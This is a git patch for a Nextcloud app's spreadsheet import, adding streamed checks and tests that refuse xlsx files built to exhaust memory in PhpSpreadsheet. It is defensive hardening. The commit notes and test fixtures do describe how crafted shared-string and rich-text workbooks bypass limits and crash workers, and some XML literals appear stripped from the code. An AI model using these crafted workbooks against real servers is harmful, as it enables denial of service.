2. `new \PhpOffice\PhpSpreadsheet\Reader\Xlsx()`, then `setReadDataOnly(true)` and `setLoadSheetsOnly([...profile sheet names that exist])`. The sheet names come from `listWorksheetNames()`. The class comes from OpenRegister's vendor directory, which is loaded whenever OpenRegister is enabled. It is checked with `class_exists`; if absent, 503 `READER_UNAVAILABLE`. 3. Row 1 holds the headers. Each header is normalised (trim, collapse whitespace, drop a trailing `:` or `⚡`, lower case) and matched to the column names the profile and the packs reference. Only those columns are kept. Every other cell, such as Personeelsnummer, phone numbers and group mailboxes, is never copied out of the reader. 4. For each cell the reader takes `getValue()`. For a formula cell (data type `f`) it takes `getOldCalculatedValue()`, the value Excel cached. It never calls `getCalculatedValue()` or `toArray()` with formula calculation. Every cell of the CMDB sheets is a formula, so this is the normal path. A formula without a cached value (no `` in the file, for example a workbook written by a tool that does not calculate) is read as empty and its column is listed in the row's `uncached`; the service turns that into the row warning `Column "…": formula without a cached value, read as empty`. It never fails the row. A cached number `0` is what Excel stores for a reference to an empty cell, and is read as empty. @@ -269,7 +269,7 @@ The fragment bumps `module` to `0.3.8` (it shipped as `0.3.5` in the first versi - **Auth and CSRF:** both routes are for Nextcloud admins only through Nextcloud's middleware, with CSRF required. They carry no `AuthorizedAdminSetting`, so a group an admin delegated stackiq's admin settings to is refused: the import writes with RBAC and multitenancy off, across tenants. This is stricter than `SbomController` and `importArchiMate`, which carry `NoCSRFRequired`. The admin check happens before the body is read. - **File checks before parsing:** size limit (10 MB, profile), `.xlsx` extension, ZIP signature and `xl/workbook.xml`. `.xlsm` and `.xls` are rejected. The upload is read from PHP's temporary upload file and never written into Nextcloud Files. - **No evaluation, no fetching:** read-data-only, profile sheets only, cached values for formula cells, no `getCalculatedValue()`, no HTTP client in the reader. External connections, Power Query packages and hyperlinks are inert. -- **Resource bounds:** before PhpSpreadsheet parses anything, the reader caps the unpacked size of the package (`maxUncompressedBytes`) and of each part (`maxPartBytes`), and counts the shared-strings entries with a streaming XMLReader (`maxSharedStrings`), because PhpSpreadsheet builds the shared-strings table and each loaded sheet's XML tree whole, outside the read filter's reach. Then a row cap per sheet, only the two CMDB sheets loaded, and a read filter that keeps only allowlisted columns as cell objects. +- **Resource bounds:** before PhpSpreadsheet parses anything, the reader caps the unpacked size of the package (`maxUncompressedBytes`) and of each part (`maxPartBytes`), counts the shared-strings entries with a streaming XMLReader (`maxSharedStrings`), and adds up the shared-string text the cells reference (`maxReferencedStringBytes`), because PhpSpreadsheet gives every referencing cell its own copy of a shared string (cloning each run of a rich-text one first) and builds the shared-strings table and each loaded sheet's XML tree whole, outside the read filter's reach. Then a row cap per sheet, only the two CMDB sheets loaded, and a read filter that keeps only allowlisted columns as cell objects. - **Injection:** every value is a string that goes through OpenRegister's schema validation on save, and is never used in SQL, file paths or templates. The UI renders values as text only. - **Isolation:** every row runs in its own try/catch. Errors are reported per row, and the import continues. - **Privacy:** the column allowlist keeps every person column except the owner out of memory; the "Invoer" sheets, which hold personnel numbers, phones and group mailboxes, are not read at all. Owner identity goes only to Nextcloud Contacts, and `contactPerson` and `usage` are never publicly readable (D8). Reports and logs carry no person data. diff --git a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md index ac0535d1e..e2faf69b8 100644 --- a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md +++ b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md @@ -51,7 +51,7 @@ Nextcloud OCP interfaces used: `OCP\IRequest` (multipart upload), `OCP\IUserSess ### Requirement: The workbook SHALL be read as stored data, without evaluating formulas or following links (REQ-CMDB-002) -The reader SHALL open the workbook with PhpSpreadsheet's Xlsx reader in read-data-only mode, SHALL load only the sheets named in the import profile, and SHALL read each cell's stored value. For a formula cell it SHALL use the value cached in the file and SHALL NOT evaluate the formula. It SHALL NOT contact external data connections, linked workbooks or URLs found in the file. A formula cell without a cached value SHALL be read as empty and SHALL add a row warning naming the column; it SHALL NOT fail the row or the import. A formula whose cached value is the number 0 (Excel's result for a reference to an empty cell) SHALL be read as empty. It SHALL stop with 422 `TOO_MANY_ROWS` when a source sheet holds more data rows than the profile's limit (default 10,000). Before PhpSpreadsheet parses any part, the reader SHALL stop with 413 `WORKBOOK_TOO_LARGE` when the unpacked sizes of the package's parts add up to more than the profile's `maxUncompressedBytes` (default 50 MB, `details.maxUncompressedBytes`), when one part unpacks to more than `maxPartBytes` (default 10 MB, `details.maxPartBytes` and `details.part`), or when the shared-strings table holds more `` entries than `maxSharedStrings` (default 200,000, `details.maxSharedStrings`), counted with a streaming reader without building the table and whatever its `count` attributes claim. PhpSpreadsheet builds the shared-strings table and each loaded sheet's XML tree whole before a read filter applies, so these bounds, not the read filter, keep a small file that unpacks to far more from exhausting the server's memory. +The reader SHALL open the workbook with PhpSpreadsheet's Xlsx reader in read-data-only mode, SHALL load only the sheets named in the import profile, and SHALL read each cell's stored value. For a formula cell it SHALL use the value cached in the file and SHALL NOT evaluate the formula. It SHALL NOT contact external data connections, linked workbooks or URLs found in the file. A formula cell without a cached value SHALL be read as empty and SHALL add a row warning naming the column; it SHALL NOT fail the row or the import. A formula whose cached value is the number 0 (Excel's result for a reference to an empty cell) SHALL be read as empty. It SHALL stop with 422 `TOO_MANY_ROWS` when a source sheet holds more data rows than the profile's limit (default 10,000). Before PhpSpreadsheet parses any part, the reader SHALL stop with 413 `WORKBOOK_TOO_LARGE` when the unpacked sizes of the package's parts add up to more than the profile's `maxUncompressedBytes` (default 50 MB, `details.maxUncompressedBytes`), when one part unpacks to more than `maxPartBytes` (default 10 MB, `details.maxPartBytes` and `details.part`), when the shared-strings table holds more `` entries than `maxSharedStrings` (default 200,000, `details.maxSharedStrings`), counted with a streaming reader without building the table and whatever its `count` attributes claim, or when the shared-string text the cells reference adds up to more than `maxReferencedStringBytes` (default 64 MB, `details.maxReferencedStringBytes`), each entry counted once per referencing cell and weighed by its text and its runs. PhpSpreadsheet builds the shared-strings table and each loaded sheet's XML tree whole before a read filter applies, so these bounds, not the read filter, keep a small file that unpacks to far more from exhausting the server's memory. #### Scenario: A formula cell yields its cached value and is not evaluated @e2e exclude Reader behaviour; tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php reads a fixture whose source sheet has a formula cell and asserts the cached value is returned and the calculation engine is never invoked. @@ -93,6 +93,14 @@ The reader SHALL open the workbook with PhpSpreadsheet's Xlsx reader in read-dat - **THEN** the endpoint SHALL answer 413 with error `WORKBOOK_TOO_LARGE`, and `details` SHALL name the limit (and for a part, the part) - **AND** no sheet SHALL be loaded and no object SHALL be written +#### Scenario: One shared string referenced by many cells is refused before it is parsed +@e2e exclude A browser upload adds nothing over the reader test; tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php testOneSharedStringReferencedByManyCellsIsRefusedBeforeLoading builds a small package whose cells all reference one rich-text string of 500 runs, and one whose cells all reference one 20,000-character string, and asserts WORKBOOK_TOO_LARGE with the limit and that PhpSpreadsheet loaded nothing; testSharedStringsWithinTheReferenceLimitAreRead reads one under the limit. + +- **GIVEN** an xlsx package within every other limit whose cells reference shared strings that together weigh more than `maxReferencedStringBytes` +- **WHEN** a Nextcloud admin uploads it +- **THEN** the endpoint SHALL answer 413 with error `WORKBOOK_TOO_LARGE` and `details.maxReferencedStringBytes` +- **AND** no sheet SHALL be loaded and no object SHALL be written + ### Requirement: Columns SHALL be resolved by header name, and a missing required column SHALL stop the import with 422 (REQ-CMDB-003) The source sheets SHALL be the CMDB sheets "Onbeh Applicaties CMDB" and "Beheerde Applicaties CMDB"; the "Invoer" sheets SHALL NOT be read. The reader SHALL take the first row of each source sheet as headers and SHALL match them to the profile's column names per sheet, case-insensitively, after trimming whitespace and dropping a trailing `:` or `⚡`. Column order SHALL NOT matter. When a present source sheet lacks a column the profile marks as required (`APPID`, `Applicatie Naam`), the endpoint SHALL answer 422 with error `MISSING_COLUMN`, naming the column and the sheet, before any object is written. When neither source sheet exists, the endpoint SHALL answer 422 with error `NO_SOURCE_SHEET`, naming both expected sheets. A missing optional column SHALL produce one import-level warning and no row error, except for a column the profile lists as absent on that sheet (`Nickname` on "Onbeh Applicaties CMDB"). diff --git a/src/utils/cmdbImport.js b/src/utils/cmdbImport.js index 8fa8019b3..4df51e962 100644 --- a/src/utils/cmdbImport.js +++ b/src/utils/cmdbImport.js @@ -488,7 +488,7 @@ export function isKnownError(code) { /** * The title of WORKBOOK_TOO_LARGE, naming the limit the server applied. * - * @param {object} details The error details: `maxPartBytes` and `part`, `maxSharedStrings`, or `maxUncompressedBytes` + * @param {object} details The error details: `maxPartBytes` and `part`, `maxSharedStrings`, `maxReferencedStringBytes`, or `maxUncompressedBytes` * @return {string} The title * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-the-workbook-shall-be-read-as-stored-data-without-evaluating-formulas-or-following-links-req-cmdb-002 */ @@ -512,6 +512,14 @@ function workbookTooLargeTitle(details) { AS_TEXT, ) } + if (Number(details.maxReferencedStringBytes) > 0) { + return t( + 'stackiq', + 'Together, the cells of the workbook reference more than {size} of shared text, the most the import reads.', + { size: formatMegabytes(details.maxReferencedStringBytes) }, + AS_TEXT, + ) + } if (Number(details.maxUncompressedBytes) > 0) { return t( 'stackiq', diff --git a/src/utils/cmdbImport.spec.js b/src/utils/cmdbImport.spec.js index d35bf2cb3..b6db183c6 100644 --- a/src/utils/cmdbImport.spec.js +++ b/src/utils/cmdbImport.spec.js @@ -381,7 +381,7 @@ describe('errorText', () => { ) }) - it('names the part limit and the part, or the shared-strings limit, the server applied', () => { + it('names the part limit and the part, the shared-strings limit or the referenced-text limit the server applied', () => { expect( errorText({ error: 'WORKBOOK_TOO_LARGE', @@ -401,6 +401,14 @@ describe('errorText', () => { ).toBe( 'The workbook holds more than 200000 different texts, the most the import reads.', ) + expect( + errorText({ + error: 'WORKBOOK_TOO_LARGE', + details: { maxReferencedStringBytes: 64 * 1024 * 1024 }, + }).title, + ).toBe( + 'Together, the cells of the workbook reference more than 64 MB of shared text, the most the import reads.', + ) }) it('names the outdated schema and points to Force Update', () => { diff --git a/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php b/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php index 9b3f69b62..2d330258f 100644 --- a/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php +++ b/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php @@ -151,6 +151,7 @@ public function testThePacksImplementTheColumnTable(): void { $this->assertSame(10000, $profile->maxRowsPerSheet()); $this->assertSame(10485760, $profile->maxPartBytes()); $this->assertSame(200000, $profile->maxSharedStrings()); + $this->assertSame(67108864, $profile->maxReferencedStringBytes()); }//end testThePacksImplementTheColumnTable() /** diff --git a/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php b/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php index f27dc75ee..950571041 100644 --- a/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php +++ b/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php @@ -418,6 +418,128 @@ public function testASharedStringsTableUnderAnotherNameIsCounted(): void { } }//end testASharedStringsTableUnderAnotherNameIsCounted() + /** + * A shared-strings table whose root element is not `sst` is counted too. + * + * PhpSpreadsheet reads the `` children of the part the relationships name without checking the + * root element, so the count does not check it either. + * + * @return void + */ + public function testASharedStringsTableUnderAnotherRootIsCounted(): void { + $this->requireSpreadsheet(); + require_once __DIR__ . '/../../Support/RecordingXlsxReader.php'; + $sheets = ['Beheerde Applicaties CMDB' => [['APPID', 'Applicatie Naam'], [1, 'Een']]]; + $directory = CmdbTestSupport::profileDirectory(overrides: ['maxSharedStrings' => 1000]); + $reader = new class extends CmdbWorkbookReader { + public const READER_CLASS = RecordingXlsxReader::class; + }; + + $table = str_replace([''], [''], self::sharedStrings(count: 1001)); + $renamed = CmdbTestSupport::buildWorkbook(sheets: $sheets, extraParts: ['xl/sharedStrings.xml' => $table]); + try { + RecordingXlsxReader::$loads = 0; + $reader->read(path: $renamed, profile: $this->profile(directory: $directory)); + $this->fail('WORKBOOK_TOO_LARGE expected'); + } catch (CmdbImportException $e) { + $this->assertSame('WORKBOOK_TOO_LARGE', $e->getErrorCode()); + $this->assertSame(['maxSharedStrings' => 1000], $e->getDetails()); + $this->assertSame(0, RecordingXlsxReader::$loads, 'no sheet was loaded'); + } finally { + unlink($renamed); + CmdbTestSupport::removeDirectory(directory: $directory); + } + }//end testASharedStringsTableUnderAnotherRootIsCounted() + + /** + * One shared string referenced by many cells is refused before loading, as rich text or as plain text. + * + * PhpSpreadsheet gives every referencing cell its own copy, cloning each run of a rich-text string first, + * so a small file holds the string once but would make PhpSpreadsheet build it once per cell. Both + * packages pass every other limit. + * + * @return void + */ + public function testOneSharedStringReferencedByManyCellsIsRefusedBeforeLoading(): void { + $this->requireSpreadsheet(); + require_once __DIR__ . '/../../Support/RecordingXlsxReader.php'; + $packages = [ + 'rich text' => self::sharedStringWorkbook(entry: '' . str_repeat('ab', 500) . '', cells: 50), + 'plain text' => self::sharedStringWorkbook(entry: '' . str_repeat('x', 20000) . '', cells: 50), + ]; + $directory = CmdbTestSupport::profileDirectory(overrides: ['maxReferencedStringBytes' => 400000]); + $reader = new class extends CmdbWorkbookReader { + public const READER_CLASS = RecordingXlsxReader::class; + }; + + try { + foreach ($packages as $kind => $path) { + RecordingXlsxReader::$loads = 0; + try { + $reader->read(path: $path, profile: $this->profile(directory: $directory)); + $this->fail('WORKBOOK_TOO_LARGE expected for ' . $kind); + } catch (CmdbImportException $e) { + $this->assertSame('WORKBOOK_TOO_LARGE', $e->getErrorCode(), $kind); + $this->assertSame(['maxReferencedStringBytes' => 400000], $e->getDetails(), $kind); + $this->assertSame(0, RecordingXlsxReader::$loads, 'no sheet was loaded for ' . $kind); + } + } + } finally { + array_map('unlink', $packages); + CmdbTestSupport::removeDirectory(directory: $directory); + } + }//end testOneSharedStringReferencedByManyCellsIsRefusedBeforeLoading() + + /** + * Shared strings referenced within the limit are read as their text, rich text as plain text. + * + * @return void + */ + public function testSharedStringsWithinTheReferenceLimitAreRead(): void { + $this->requireSpreadsheet(); + $path = self::sharedStringWorkbook(entry: 'Een', cells: 1); + $directory = CmdbTestSupport::profileDirectory(overrides: ['maxReferencedStringBytes' => 400000]); + + try { + $rows = (new CmdbWorkbookReader())->read(path: $path, profile: $this->profile(directory: $directory))['rows']; + $this->assertCount(1, $rows); + $this->assertSame('Een', $rows[0]['cells']['Applicatie Naam']); + } finally { + unlink($path); + CmdbTestSupport::removeDirectory(directory: $directory); + } + }//end testSharedStringsWithinTheReferenceLimitAreRead() + + /** + * A workbook whose CMDB sheet holds an APPID and an application name per row, the name a reference to one shared string. + * + * The shared strings are the two headers and the given entry, linked from the workbook's relationships. + * + * @param string $entry The `` element every name references. + * @param int $cells The number of rows that reference it. + * + * @return string The path of the workbook. + */ + private static function sharedStringWorkbook(string $entry, int $cells): string { + $main = 'http://schemas.openxmlformats.org/spreadsheetml/2006/main'; + $rel = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships'; + $rows = '01'; + for ($row = 2; $row <= $cells + 1; $row++) { + $rows .= '' . ($row - 1) . '2'; + } + + return CmdbTestSupport::buildWorkbook( + sheets: ['Beheerde Applicaties CMDB' => []], + extraParts: [ + 'xl/worksheets/sheet1.xml' => '' . $rows . '', + 'xl/sharedStrings.xml' => 'APPIDApplicatie Naam' . $entry . '', + 'xl/_rels/workbook.xml.rels' => '' + . '' + . '', + ] + ); + }//end sharedStringWorkbook() + /** * A shared-strings part or a sheet part that unpacks beyond maxPartBytes is refused before any sheet is loaded. * From 82f7c2844e11c4c6c7ea10bf3a450f8cd597abae Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 20:01:52 +0200 Subject: [PATCH 173/176] fix(cmdb-import): read every part as PhpSpreadsheet does in the shared-string bounds The bound on referenced shared-string text from the previous commit could be bypassed. It numbered the entries of every namespace, charged the first of any namespace, and read only parts named *.xml. PhpSpreadsheet numbers and reads only its own namespace, and follows the relationships to a part of any name. The checks now read every part by index, through PhpSpreadsheet's own XmlScanner. They number entries per namespace and charge the heaviest, and charge every of a shared-string cell by both its own text and all the text inside it. PhpSpreadsheet also keeps every rich-text run as objects. One unreferenced 300k-run entry peaked at 248 MB, and one inline-string cell of 800k runs exhausted a 512M worker. Each inside a shared string or an inline string now counts as an entry against maxSharedStrings, summed over all parts. The streaming checks move to CmdbWorkbookBounds, which keeps the reader under the class-size limits. Co-Authored-By: Claude Opus 5.5 --- docs/features/cmdb-import.md | 2 +- lib/Service/Cmdb/CmdbWorkbookBounds.php | 440 ++++++++++++++++++ lib/Service/Cmdb/CmdbWorkbookReader.php | 287 +----------- .../changes/cmdb-export-import/contract.md | 2 +- openspec/changes/cmdb-export-import/design.md | 2 +- .../specs/cmdb-export-import/spec.md | 2 +- .../Service/Cmdb/CmdbWorkbookReaderTest.php | 80 +++- 7 files changed, 533 insertions(+), 282 deletions(-) create mode 100644 lib/Service/Cmdb/CmdbWorkbookBounds.php diff --git a/docs/features/cmdb-import.md b/docs/features/cmdb-import.md index 0c32afe70..dbd030251 100644 --- a/docs/features/cmdb-import.md +++ b/docs/features/cmdb-import.md @@ -325,7 +325,7 @@ every import: | `maxRowsPerSheet` | `10000` | the rows with data on one CMDB sheet | | `maxUncompressedBytes` | `52428800` (50 MB) | the size of the workbook once unpacked, checked before a sheet is parsed | | `maxPartBytes` | `10485760` (10 MB) | the size of any one part of the workbook once unpacked, such as a sheet or the shared-strings table, checked before a sheet is parsed | -| `maxSharedStrings` | `200000` | the number of different texts in the workbook's shared-strings table, counted before a sheet is parsed | +| `maxSharedStrings` | `200000` | the number of different texts in the workbook's shared-strings table, each formatted piece of a text with mixed formatting counted as one more, also in text written in a cell itself, counted before a sheet is parsed | | `maxReferencedStringBytes` | `67108864` (64 MB) | the shared text all cells of the workbook reference together, counted once per cell and once per CMDB sheet before a sheet is parsed; a long text that many cells repeat counts as often as it is repeated | The section's help text shows the defaults; when the server refuses a file, diff --git a/lib/Service/Cmdb/CmdbWorkbookBounds.php b/lib/Service/Cmdb/CmdbWorkbookBounds.php new file mode 100644 index 000000000..344a80ef7 --- /dev/null +++ b/lib/Service/Cmdb/CmdbWorkbookBounds.php @@ -0,0 +1,440 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Service\Cmdb; + +use OCA\Stackiq\Exception\CmdbImportException; +use Throwable; +use XMLReader; +use ZipArchive; + +/** + * Streams a workbook's parts to bound what PhpSpreadsheet can be made to hold by its shared strings. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + * + * @SuppressWarnings(PHPMD.ExcessiveClassComplexity) Each helper is one small step of a streamed check; + * together they pass the threshold, and splitting the two checks apart would duplicate the streaming. + */ +class CmdbWorkbookBounds { + /** + * Refuse a shared-strings table with more entries than the limit, without building it. + * + * The table's `count` and `uniqueCount` attributes are written by the + * producer and can be wrong, so the entries are counted, streamed with + * XMLReader. PhpSpreadsheet reads the `` children of whatever part the + * workbook's relationships name, whatever that part's name or root + * element, so every part of the package is counted. It also builds every + * formatting run of a rich-text entry as objects, kept for the whole + * load, and does the same for the runs of a cell's own text (an inline + * string, ``), so each `` inside an entry or an inline string + * counts as an entry too. The count runs over all parts together. + * + * @param string $path The xlsx file. + * @param int $limit The maximum number of shared strings. + * @param object $scanner PhpSpreadsheet's XmlScanner, which every part passes before it is parsed. + * + * @return void + * + * @throws CmdbImportException WORKBOOK_TOO_LARGE above the limit. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function assertSharedStringCount(string $path, int $limit, object $scanner): void { + $count = 0; + self::streamParts( + path: $path, + scanner: $scanner, + consume: static function (XMLReader $xml) use ($limit, &$count): void { + $count = self::countSharedStrings(xml: $xml, limit: $limit, count: $count); + if ($count > $limit) { + throw new CmdbImportException( + errorCode: CmdbImportException::WORKBOOK_TOO_LARGE, + message: 'The shared-strings table holds more entries than the profile allows', + details: ['maxSharedStrings' => $limit] + ); + } + } + ); + }//end assertSharedStringCount() + + /** + * Add one part's `` children of the root element and the `` runs inside them or inside an ``, stopping past the limit. + * + * @param XMLReader $xml The reader, opened on one part. + * @param int $limit The maximum number of shared strings. + * @param int $count The entries counted so far. + * + * @return int + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + private static function countSharedStrings(XMLReader $xml, int $limit, int $count): int { + $textDepth = null; + while ($count <= $limit && $xml->read() === true) { + $count += self::entriesAt(xml: $xml, textDepth: $textDepth); + } + + return $count; + }//end countSharedStrings() + + /** + * The entries the node the reader is on adds: 1 for a shared string or a run inside a text, else 0. + * + * @param XMLReader $xml The reader, on a node. + * @param int|null $textDepth The depth of the shared or inline string the reader is inside, or null; kept up to date. + * + * @return int + */ + private static function entriesAt(XMLReader $xml, ?int &$textDepth): int { + if ($xml->nodeType === XMLReader::END_ELEMENT && $xml->depth === $textDepth) { + $textDepth = null; + return 0; + } + + if ($xml->nodeType !== XMLReader::ELEMENT) { + return 0; + } + + if ($textDepth === null && self::opensText(xml: $xml) === true) { + $textDepth = self::depthUnlessEmpty(xml: $xml); + return (int)($xml->localName === 'si'); + } + + return (int)($textDepth !== null && $xml->localName === 'r'); + }//end entriesAt() + + /** + * The depth of the element the reader is on, or null for an empty element, which has no end to wait for. + * + * @param XMLReader $xml The reader, on an element. + * + * @return int|null + */ + private static function depthUnlessEmpty(XMLReader $xml): ?int { + if ($xml->isEmptyElement === true) { + return null; + } + + return $xml->depth; + }//end depthUnlessEmpty() + + /** + * Whether the reader is on a text PhpSpreadsheet builds runs for: a shared string or an inline string. + * + * @param XMLReader $xml The reader, on an element. + * + * @return bool + */ + private static function opensText(XMLReader $xml): bool { + return ($xml->depth === 1 && $xml->localName === 'si') || $xml->localName === 'is'; + }//end opensText() + + /** + * Refuse a workbook whose cells reference more shared-string text than the limit, before any sheet is parsed. + * + * PhpSpreadsheet gives every cell that references a shared string its own + * copy of the text, and clones every run of a rich-text string first, so a + * long or many-run string referenced by many cells costs memory and time + * per cell however small the file is. Each entry weighs the bytes of its + * text plus 16 per element in it (so a run weighs at least 32), and the + * weights of the entries every `t="s"` cell references are added up, + * streamed with XMLReader. + * + * The check charges at least what PhpSpreadsheet can build, never less: + * every part of the package is read, whatever its name, as a possible + * table and a possible sheet; entries are numbered per namespace and an + * index weighs the heaviest entry any table has there; every `` of a + * shared-string cell is charged, read both as its own text and as all + * the text inside it; every cell counts, read or not; and the sum counts + * once per source sheet, because two source sheets may point at the same + * part. + * + * @param string $path The xlsx file. + * @param int $limit The maximum weight of the referenced shared strings. + * @param int $sheetCount The number of source sheets the profile reads. + * @param object $scanner PhpSpreadsheet's XmlScanner, which every part passes before it is parsed. + * + * @return void + * + * @throws CmdbImportException WORKBOOK_TOO_LARGE above the limit. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function assertReferencedStringBytes(string $path, int $limit, int $sheetCount, object $scanner): void { + $tables = []; + self::streamParts( + path: $path, + scanner: $scanner, + consume: static function (XMLReader $xml) use (&$tables): void { + $tables[] = self::sharedStringWeights(xml: $xml); + } + ); + $weights = self::heaviestByIndex(tables: $tables); + if ($weights === []) { + return; + } + + $budget = intdiv($limit, max(1, $sheetCount)); + $total = 0; + self::streamParts( + path: $path, + scanner: $scanner, + consume: static function (XMLReader $xml) use ($weights, $budget, $limit, &$total): void { + $total = self::referencedWeight(xml: $xml, weights: $weights, total: $total, budget: $budget); + if ($total > $budget) { + throw new CmdbImportException( + errorCode: CmdbImportException::WORKBOOK_TOO_LARGE, + message: 'The cells of the workbook reference more shared-string text than the profile allows', + details: ['maxReferencedStringBytes' => $limit] + ); + } + } + ); + }//end assertReferencedStringBytes() + + /** + * The weight of each `` child of a part's root element, by its position among the entries of its namespace. + * + * PhpSpreadsheet numbers the entries of one namespace; which one depends + * on the workbook, so every namespace is numbered and the heaviest entry + * at a position counts. + * + * @param XMLReader $xml The reader, opened on one part. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + private static function sharedStringWeights(XMLReader $xml): array { + $byNamespace = []; + $positions = []; + $namespace = null; + while ($xml->read() === true) { + if ($xml->depth === 1 && $xml->nodeType === XMLReader::ELEMENT) { + $namespace = null; + if ($xml->localName === 'si') { + $namespace = $xml->namespaceURI; + $positions[$namespace] = (($positions[$namespace] ?? -1) + 1); + $byNamespace[$namespace][$positions[$namespace]] = 0; + } + } + + if ($namespace !== null && $xml->depth >= 1) { + $byNamespace[$namespace][$positions[$namespace]] += self::nodeWeight(xml: $xml); + } + } + + return self::heaviestByIndex(tables: $byNamespace); + }//end sharedStringWeights() + + /** + * Merge weight tables, keeping the heaviest weight at each index. + * + * @param array> $tables The tables. + * + * @return array + */ + private static function heaviestByIndex(array $tables): array { + $merged = []; + foreach ($tables as $table) { + foreach ($table as $index => $weight) { + $merged[$index] = max(($merged[$index] ?? 0), $weight); + } + } + + return $merged; + }//end heaviestByIndex() + + /** + * What one node inside a shared string adds to its weight: 16 for an element, the bytes of a text. + * + * @param XMLReader $xml The reader, on the node. + * + * @return int + */ + private static function nodeWeight(XMLReader $xml): int { + if ($xml->nodeType === XMLReader::ELEMENT) { + return 16; + } + + if (self::isText(xml: $xml) === true) { + return strlen($xml->value); + } + + return 0; + }//end nodeWeight() + + /** + * Add the weights of the shared strings the `t="s"` cells of one part reference, stopping past the budget. + * + * Every `` after a shared-string cell opens, up to the next cell, is + * charged: PhpSpreadsheet reads the cell's first `` of its namespace, + * and charging all of them never charges less. + * + * @param XMLReader $xml The reader, opened on one part. + * @param array $weights The weight of each shared string, by index. + * @param int $total The weight counted so far. + * @param int $budget The weight above which the workbook is refused. + * + * @return int + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + private static function referencedWeight(XMLReader $xml, array $weights, int $total, int $budget): int { + $shared = false; + while ($total <= $budget && $xml->read() === true) { + if ($xml->nodeType !== XMLReader::ELEMENT) { + continue; + } + + if ($xml->localName === 'c') { + $shared = ($xml->getAttribute('t') === 's'); + } elseif ($shared === true && $xml->localName === 'v') { + $total += self::valueWeight(xml: $xml, weights: $weights); + } + } + + return $total; + }//end referencedWeight() + + /** + * The weight of the shared string a `` element points at. + * + * PhpSpreadsheet casts the element's own text to int; all the text inside + * it can differ when it holds child elements, so both are read and the + * heavier entry counts. + * + * @param XMLReader $xml The reader, on the `` element; it is left on its end. + * @param array $weights The weight of each shared string, by index. + * + * @return int + */ + private static function valueWeight(XMLReader $xml, array $weights): int { + $depth = $xml->depth; + $own = ''; + $all = ''; + if ($xml->isEmptyElement === false) { + while ($xml->read() === true && $xml->depth > $depth) { + if (self::isText(xml: $xml) === true) { + $all .= $xml->value; + if ($xml->depth === ($depth + 1)) { + $own .= $xml->value; + } + } + } + } + + return max(($weights[(int)$own] ?? 0), ($weights[(int)$all] ?? 0)); + }//end valueWeight() + + /** + * Whether the reader is on a text node: text, CDATA or whitespace. + * + * @param XMLReader $xml The reader. + * + * @return bool + */ + private static function isText(XMLReader $xml): bool { + return in_array($xml->nodeType, [XMLReader::TEXT, XMLReader::CDATA, XMLReader::WHITESPACE, XMLReader::SIGNIFICANT_WHITESPACE], true); + }//end isText() + + /** + * Stream every part of the package through a callback, as PhpSpreadsheet would parse it. + * + * Parts are read by index, so a part counts whatever its name, and each + * passes PhpSpreadsheet's XmlScanner first, which also converts its + * encoding. A part the scanner refuses, or that is not XML, is skipped: + * PhpSpreadsheet cannot read it either. Network access and entity + * substitution stay off; libxml errors are kept from the log and + * cleared, also when the callback throws. + * + * @param string $path The xlsx file. + * @param object $scanner PhpSpreadsheet's XmlScanner. + * @param callable(XMLReader): void $consume Reads one opened part. + * + * @return void + */ + private static function streamParts(string $path, object $scanner, callable $consume): void { + $zip = new ZipArchive(); + if ($zip->open($path, ZipArchive::RDONLY) !== true) { + return; + } + + try { + for ($index = 0; $index < $zip->numFiles; $index++) { + $previous = libxml_use_internal_errors(true); + try { + $xml = self::openPart(zip: $zip, index: $index, scanner: $scanner); + if ($xml !== null) { + $consume($xml); + $xml->close(); + } + } finally { + libxml_clear_errors(); + libxml_use_internal_errors($previous); + } + } + } finally { + $zip->close(); + } + }//end streamParts() + + /** + * Open one part of the package with XMLReader, after PhpSpreadsheet's XmlScanner. + * + * @param ZipArchive $zip The open package. + * @param int $index The part's index. + * @param object $scanner PhpSpreadsheet's XmlScanner. + * + * @return XMLReader|null Null for an empty part, or one the scanner refuses. + */ + private static function openPart(ZipArchive $zip, int $index, object $scanner): ?XMLReader { + $content = $zip->getFromIndex($index); + if (is_string($content) === false || $content === '') { + return null; + } + + try { + $content = (string)$scanner->scan($content); + } catch (Throwable) { + return null; + } + + $xml = new XMLReader(); + if ($xml->XML($content, null, LIBXML_NONET) === false) { + return null; + } + + return $xml; + }//end openPart() +}//end class diff --git a/lib/Service/Cmdb/CmdbWorkbookReader.php b/lib/Service/Cmdb/CmdbWorkbookReader.php index d1d47821a..2fe1a9c1b 100644 --- a/lib/Service/Cmdb/CmdbWorkbookReader.php +++ b/lib/Service/Cmdb/CmdbWorkbookReader.php @@ -32,15 +32,12 @@ * the filter alone does not bound memory. The reader therefore refuses * with `WORKBOOK_TOO_LARGE` (413) a package that unpacks to more than the * profile's `maxUncompressedBytes`, a 